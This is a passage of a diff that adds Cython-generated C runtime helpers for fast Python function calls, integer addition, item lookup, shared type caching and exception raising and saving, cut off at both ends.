kwtuple = NULL; + k = NULL; + } + closure = PyFunction_GET_CLOSURE(func); +#if PY_MAJOR_VERSION >= 3 + kwdefs = PyFunction_GET_KW_DEFAULTS(func); +#endif + if (argdefs != NULL) { + d = &PyTuple_GET_ITEM(argdefs, 0); + nd = Py_SIZE(argdefs); + } + else { + d = NULL; + nd = 0; + } +#if PY_MAJOR_VERSION >= 3 + result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, kwdefs, closure); +#else + result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, closure); +#endif + Py_XDECREF(kwtuple); +done: + Py_LeaveRecursiveCall(); + return result; +} +#endif + +/* PyObjectCall */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *result; + ternaryfunc call = Py_TYPE(func)->tp_call; + if (unlikely(!call)) + return PyObject_Call(func, arg, kw); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = (*call)(func, arg, kw); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectCallMethO */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { + PyObject *self, *result; + PyCFunction cfunc; + cfunc = __Pyx_CyOrPyCFunction_GET_FUNCTION(func); + self = __Pyx_CyOrPyCFunction_GET_SELF(func); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = cfunc(self, arg); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectFastCall */ +#if PY_VERSION_HEX < 0x03090000 || CYTHON_COMPILING_IN_LIMITED_API +static PyObject* __Pyx_PyObject_FastCall_fallback(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs) { + PyObject *argstuple; + PyObject *result = 0; + size_t i; + argstuple = PyTuple_New((Py_ssize_t)nargs); + if (unlikely(!argstuple)) return NULL; + for (i = 0; i < nargs; i++) { + Py_INCREF(args[i]); + if (__Pyx_PyTuple_SET_ITEM(argstuple, (Py_ssize_t)i, args[i]) < 0) goto bad; + } + result = __Pyx_PyObject_Call(func, argstuple, kwargs); + bad: + Py_DECREF(argstuple); + return result; +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t _nargs, PyObject *kwargs) { + Py_ssize_t nargs = __Pyx_PyVectorcall_NARGS(_nargs); +#if CYTHON_COMPILING_IN_CPYTHON + if (nargs == 0 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_NOARGS)) + return __Pyx_PyObject_CallMethO(func, NULL); + } + else if (nargs == 1 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_O)) + return __Pyx_PyObject_CallMethO(func, args[0]); + } +#endif + #if PY_VERSION_HEX < 0x030800B1 + #if CYTHON_FAST_PYCCALL + if (PyCFunction_Check(func)) { + if (kwargs) { + return _PyCFunction_FastCallDict(func, args, nargs, kwargs); + } else { + return _PyCFunction_FastCallKeywords(func, args, nargs, NULL); + } + } + #if PY_VERSION_HEX >= 0x030700A1 + if (!kwargs && __Pyx_IS_TYPE(func, &PyMethodDescr_Type)) { + return _PyMethodDescr_FastCallKeywords(func, args, nargs, NULL); + } + #endif + #endif + #if CYTHON_FAST_PYCALL + if (PyFunction_Check(func)) { + return __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs); + } + #endif + #endif + if (kwargs == NULL) { + #if CYTHON_VECTORCALL + #if PY_VERSION_HEX < 0x03090000 + vectorcallfunc f = _PyVectorcall_Function(func); + #else + vectorcallfunc f = PyVectorcall_Function(func); + #endif + if (f) { + return f(func, args, (size_t)nargs, NULL); + } + #elif defined(__Pyx_CyFunction_USED) && CYTHON_BACKPORT_VECTORCALL + if (__Pyx_CyFunction_CheckExact(func)) { + __pyx_vectorcallfunc f = __Pyx_CyFunction_func_vectorcall(func); + if (f) return f(func, args, (size_t)nargs, NULL); + } + #endif + } + if (nargs == 0) { + return __Pyx_PyObject_Call(func, __pyx_empty_tuple, kwargs); + } + #if PY_VERSION_HEX >= 0x03090000 && !CYTHON_COMPILING_IN_LIMITED_API + return PyObject_VectorcallDict(func, args, (size_t)nargs, kwargs); + #else + return __Pyx_PyObject_FastCall_fallback(func, args, (size_t)nargs, kwargs); + #endif +} + +/* PyIntBinop */ +#if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_MAYBE_UNUSED_VAR(inplace); + CYTHON_UNUSED_VAR(zerodivision_check); + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long x; + long a = PyInt_AS_LONG(op1); + + x = (long)((unsigned long)a + (unsigned long)b); + if (likely((x^a) >= 0 || (x^b) >= 0)) + return PyInt_FromLong(x); + return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + const long b = intval; + long a, x; +#ifdef HAVE_LONG_LONG + const PY_LONG_LONG llb = intval; + PY_LONG_LONG lla, llx; +#endif + if (unlikely(__Pyx_PyLong_IsZero(op1))) { + return __Pyx_NewRef(op2); + } + if (likely(__Pyx_PyLong_IsCompact(op1))) { + a = __Pyx_PyLong_CompactValue(op1); + } else { + const digit* digits = __Pyx_PyLong_Digits(op1); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(op1); + switch (size) { + case -2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + default: return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + } + x = a + b; + return PyLong_FromLong(x); +#ifdef HAVE_LONG_LONG + long_long: + llx = lla + llb; + return PyLong_FromLongLong(llx); +#endif + + + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + double result; + + PyFPE_START_PROTECT("add", return NULL) + result = ((double)a) + (double)b; + PyFPE_END_PROTECT(result) + return PyFloat_FromDouble(result); + } + return (inplace ? PyNumber_InPlaceAdd : PyNumber_Add)(op1, op2); +} +#endif + +/* GetItemInt */ +static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { + PyObject *r; + if (unlikely(!j)) return NULL; + r = PyObject_GetItem(o, j); + Py_DECREF(j); + return r; +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyList_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyList_GET_SIZE(o)))) { + PyObject *r = PyList_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyTuple_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS + if (is_list || PyList_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyList_GET_SIZE(o); + if ((!boundscheck) || (likely(__Pyx_is_valid_index(n, PyList_GET_SIZE(o))))) { + PyObject *r = PyList_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } + else if (PyTuple_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o); + if ((!boundscheck) || likely(__Pyx_is_valid_index(n, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } else { + PyMappingMethods *mm = Py_TYPE(o)->tp_as_mapping; + PySequenceMethods *sm = Py_TYPE(o)->tp_as_sequence; + if (mm && mm->mp_subscript) { + PyObject *r, *key = PyInt_FromSsize_t(i); + if (unlikely(!key)) return NULL; + r = mm->mp_subscript(o, key); + Py_DECREF(key); + return r; + } + if (likely(sm && sm->sq_item)) { + if (wraparound && unlikely(i < 0) && likely(sm->sq_length)) { + Py_ssize_t l = sm->sq_length(o); + if (likely(l >= 0)) { + i += l; + } else { + if (!PyErr_ExceptionMatches(PyExc_OverflowError)) + return NULL; + PyErr_Clear(); + } + } + return sm->sq_item(o, i); + } + } +#else + if (is_list || !PyMapping_Check(o)) { + return PySequence_GetItem(o, i); + } +#endif + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +} + +/* PyObjectCallOneArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { + PyObject *args[2] = {NULL, arg}; + return __Pyx_PyObject_FastCall(func, args+1, 1 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* ObjectGetItem */ +#if CYTHON_USE_TYPE_SLOTS +static PyObject *__Pyx_PyObject_GetIndex(PyObject *obj, PyObject *index) { + PyObject *runerr = NULL; + Py_ssize_t key_value; + key_value = __Pyx_PyIndex_AsSsize_t(index); + if (likely(key_value != -1 || !(runerr = PyErr_Occurred()))) { + return __Pyx_GetItemInt_Fast(obj, key_value, 0, 1, 1); + } + if (PyErr_GivenExceptionMatches(runerr, PyExc_OverflowError)) { + __Pyx_TypeName index_type_name = __Pyx_PyType_GetName(Py_TYPE(index)); + PyErr_Clear(); + PyErr_Format(PyExc_IndexError, + "cannot fit '" __Pyx_FMT_TYPENAME "' into an index-sized integer", index_type_name); + __Pyx_DECREF_TypeName(index_type_name); + } + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem_Slow(PyObject *obj, PyObject *key) { + __Pyx_TypeName obj_type_name; + if (likely(PyType_Check(obj))) { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(obj, __pyx_n_s_class_getitem); + if (!meth) { + PyErr_Clear(); + } else { + PyObject *result = __Pyx_PyObject_CallOneArg(meth, key); + Py_DECREF(meth); + return result; + } + } + obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "'" __Pyx_FMT_TYPENAME "' object is not subscriptable", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key) { + PyTypeObject *tp = Py_TYPE(obj); + PyMappingMethods *mm = tp->tp_as_mapping; + PySequenceMethods *sm = tp->tp_as_sequence; + if (likely(mm && mm->mp_subscript)) { + return mm->mp_subscript(obj, key); + } + if (likely(sm && sm->sq_item)) { + return __Pyx_PyObject_GetIndex(obj, key); + } + return __Pyx_PyObject_GetItem_Slow(obj, key); +} +#endif + +/* DictGetItem */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key) { + PyObject *value; + value = PyDict_GetItemWithError(d, key); + if (unlikely(!value)) { + if (!PyErr_Occurred()) { + if (unlikely(PyTuple_Check(key))) { + PyObject* args = PyTuple_Pack(1, key); + if (likely(args)) { + PyErr_SetObject(PyExc_KeyError, args); + Py_DECREF(args); + } + } else { + PyErr_SetObject(PyExc_KeyError, key); + } + } + return NULL; + } + Py_INCREF(value); + return value; +} +#endif + +/* FixUpExtensionType */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type) { +#if PY_VERSION_HEX > 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + CYTHON_UNUSED_VAR(spec); + CYTHON_UNUSED_VAR(type); +#else + const PyType_Slot *slot = spec->slots; + while (slot && slot->slot && slot->slot != Py_tp_members) + slot++; + if (slot && slot->slot == Py_tp_members) { + int changed = 0; +#if !(PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON) + const +#endif + PyMemberDef *memb = (PyMemberDef*) slot->pfunc; + while (memb && memb->name) { + if (memb->name[0] == '_' && memb->name[1] == '_') { +#if PY_VERSION_HEX < 0x030900b1 + if (strcmp(memb->name, "__weaklistoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_weaklistoffset = memb->offset; + changed = 1; + } + else if (strcmp(memb->name, "__dictoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_dictoffset = memb->offset; + changed = 1; + } +#if CYTHON_METH_FASTCALL + else if (strcmp(memb->name, "__vectorcalloffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); +#if PY_VERSION_HEX >= 0x030800b4 + type->tp_vectorcall_offset = memb->offset; +#else + type->tp_print = (printfunc) memb->offset; +#endif + changed = 1; + } +#endif +#else + if ((0)); +#endif +#if PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON + else if (strcmp(memb->name, "__module__") == 0) { + PyObject *descr; + assert(memb->type == T_OBJECT); + assert(memb->flags == 0 || memb->flags == READONLY); + descr = PyDescr_NewMember(type, memb); + if (unlikely(!descr)) + return -1; + if (unlikely(PyDict_SetItem(type->tp_dict, PyDescr_NAME(descr), descr) < 0)) { + Py_DECREF(descr); + return -1; + } + Py_DECREF(descr); + changed = 1; + } +#endif + } + memb++; + } + if (changed) + PyType_Modified(type); + } +#endif + return 0; +} +#endif + +/* FetchSharedCythonModule */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void) { + return __Pyx_PyImport_AddModuleRef((char*) __PYX_ABI_MODULE_NAME); +} + +/* FetchCommonType */ +static int __Pyx_VerifyCachedType(PyObject *cached_type, + const char *name, + Py_ssize_t basicsize, + Py_ssize_t expected_basicsize) { + if (!PyType_Check(cached_type)) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s is not a type object", name); + return -1; + } + if (basicsize != expected_basicsize) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s has the wrong size, try recompiling", + name); + return -1; + } + return 0; +} +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { + PyObject* abi_module; + const char* object_name; + PyTypeObject *cached_type = NULL; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + object_name = strrchr(type->tp_name, '.'); + object_name = object_name ? object_name+1 : type->tp_name; + cached_type = (PyTypeObject*) PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + if (__Pyx_VerifyCachedType( + (PyObject *)cached_type, + object_name, + cached_type->tp_basicsize, + type->tp_basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + if (PyType_Ready(type) < 0) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, (PyObject *)type) < 0) + goto bad; + Py_INCREF(type); + cached_type = type; +done: + Py_DECREF(abi_module); + return cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#else +static PyTypeObject *__Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases) { + PyObject *abi_module, *cached_type = NULL; + const char* object_name = strrchr(spec->name, '.'); + object_name = object_name ? object_name+1 : spec->name; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + cached_type = PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + Py_ssize_t basicsize; +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *py_basicsize; + py_basicsize = PyObject_GetAttrString(cached_type, "__basicsize__"); + if (unlikely(!py_basicsize)) goto bad; + basicsize = PyLong_AsSsize_t(py_basicsize); + Py_DECREF(py_basicsize); + py_basicsize = 0; + if (unlikely(basicsize == (Py_ssize_t)-1) && PyErr_Occurred()) goto bad; +#else + basicsize = likely(PyType_Check(cached_type)) ? ((PyTypeObject*) cached_type)->tp_basicsize : -1; +#endif + if (__Pyx_VerifyCachedType( + cached_type, + object_name, + basicsize, + spec->basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + CYTHON_UNUSED_VAR(module); + cached_type = __Pyx_PyType_FromModuleAndSpec(abi_module, spec, bases); + if (unlikely(!cached_type)) goto bad; + if (unlikely(__Pyx_fix_up_extension_type_from_spec(spec, (PyTypeObject *) cached_type) < 0)) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, cached_type) < 0) goto bad; +done: + Py_DECREF(abi_module); + assert(cached_type == NULL || PyType_Check(cached_type)); + return (PyTypeObject *) cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#endif + +/* RaiseException */ +#if PY_MAJOR_VERSION < 3 +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + __Pyx_PyThreadState_declare + CYTHON_UNUSED_VAR(cause); + Py_XINCREF(type); + if (!value || value == Py_None) + value = NULL; + else + Py_INCREF(value); + if (!tb || tb == Py_None) + tb = NULL; + else { + Py_INCREF(tb); + if (!PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto raise_error; + } + } + if (PyType_Check(type)) { +#if CYTHON_COMPILING_IN_PYPY + if (!value) { + Py_INCREF(Py_None); + value = Py_None; + } +#endif + PyErr_NormalizeException(&type, &value, &tb); + } else { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto raise_error; + } + value = type; + type = (PyObject*) Py_TYPE(type); + Py_INCREF(type); + if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto raise_error; + } + } + __Pyx_PyThreadState_assign + __Pyx_ErrRestore(type, value, tb); + return; +raise_error: + Py_XDECREF(value); + Py_XDECREF(type); + Py_XDECREF(tb); + return; +} +#else +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + PyObject* owned_instance = NULL; + if (tb == Py_None) { + tb = 0; + } else if (tb && !PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto bad; + } + if (value == Py_None) + value = 0; + if (PyExceptionInstance_Check(type)) { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto bad; + } + value = type; + type = (PyObject*) Py_TYPE(value); + } else if (PyExceptionClass_Check(type)) { + PyObject *instance_class = NULL; + if (value && PyExceptionInstance_Check(value)) { + instance_class = (PyObject*) Py_TYPE(value); + if (instance_class != type) { + int is_subclass = PyObject_IsSubclass(instance_class, type); + if (!is_subclass) { + instance_class = NULL; + } else if (unlikely(is_subclass == -1)) { + goto bad; + } else { + type = instance_class; + } + } + } + if (!instance_class) { + PyObject *args; + if (!value) + args = PyTuple_New(0); + else if (PyTuple_Check(value)) { + Py_INCREF(value); + args = value; + } else + args = PyTuple_Pack(1, value); + if (!args) + goto bad; + owned_instance = PyObject_Call(type, args, NULL); + Py_DECREF(args); + if (!owned_instance) + goto bad; + value = owned_instance; + if (!PyExceptionInstance_Check(value)) { + PyErr_Format(PyExc_TypeError, + "calling %R should have returned an instance of " + "BaseException, not %R", + type, Py_TYPE(value)); + goto bad; + } + } + } else { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto bad; + } + if (cause) { + PyObject *fixed_cause; + if (cause == Py_None) { + fixed_cause = NULL; + } else if (PyExceptionClass_Check(cause)) { + fixed_cause = PyObject_CallObject(cause, NULL); + if (fixed_cause == NULL) + goto bad; + } else if (PyExceptionInstance_Check(cause)) { + fixed_cause = cause; + Py_INCREF(fixed_cause); + } else { + PyErr_SetString(PyExc_TypeError, + "exception causes must derive from " + "BaseException"); + goto bad; + } + PyException_SetCause(value, fixed_cause); + } + PyErr_SetObject(type, value); + if (tb) { + #if PY_VERSION_HEX >= 0x030C00A6 + PyException_SetTraceback(value, tb); + #elif CYTHON_FAST_THREAD_STATE + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject* tmp_tb = tstate->curexc_traceback; + if (tb != tmp_tb) { + Py_INCREF(tb); + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_tb); + } +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_Fetch(&tmp_type, &tmp_value, &tmp_tb); + Py_INCREF(tb); + PyErr_Restore(tmp_type, tmp_value, tb); + Py_XDECREF(tmp_tb); +#endif + } +bad: + Py_XDECREF(owned_instance); + return; +} +#endif + +/* GetTopmostException */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * +__Pyx_PyErr_GetTopmostException(PyThreadState *tstate) +{ + _PyErr_StackItem *exc_info = tstate->exc_info; + while ((exc_info->exc_value == NULL || exc_info->exc_value == Py_None) && + exc_info->previous_item != NULL) + { + exc_info = exc_info->previous_item; + } + return exc_info; +} +#endif + +/* SaveResetException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + PyObject *exc_value = exc_info->exc_value; + if (exc_value == NULL || exc_value == Py_None) { + *value = NULL; + *type = NULL; + *tb = NULL; + } else { + *value = exc_value; + Py_INCREF(*value); + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + *tb = PyException_GetTraceback(exc_value); + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + *type = exc_info->exc_type; + *value = exc_info->exc_value; + *tb = exc_info->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #else + *type = tstate->exc_type; + *value = tstate->exc_value; + *tb = tstate->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #endif +} +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + PyObject *tmp_value = exc_info->exc_value; + exc_info->exc_value = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); + #else + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = type; + exc_info->exc_value = value; + exc_info->exc_traceback = tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = type; + tstate->exc_value = value; + tstate->exc_traceback = tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); + #endif +} +#endif + +/* SwapException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_value = exc_info->exc_value; + exc_info->exc_value = *value; + if (tmp_value == NULL || tmp_value == Py_None) { + Py_XDECREF(tmp_value); + tmp_value = NULL; + tmp_type = NULL; + tmp_tb = NULL; 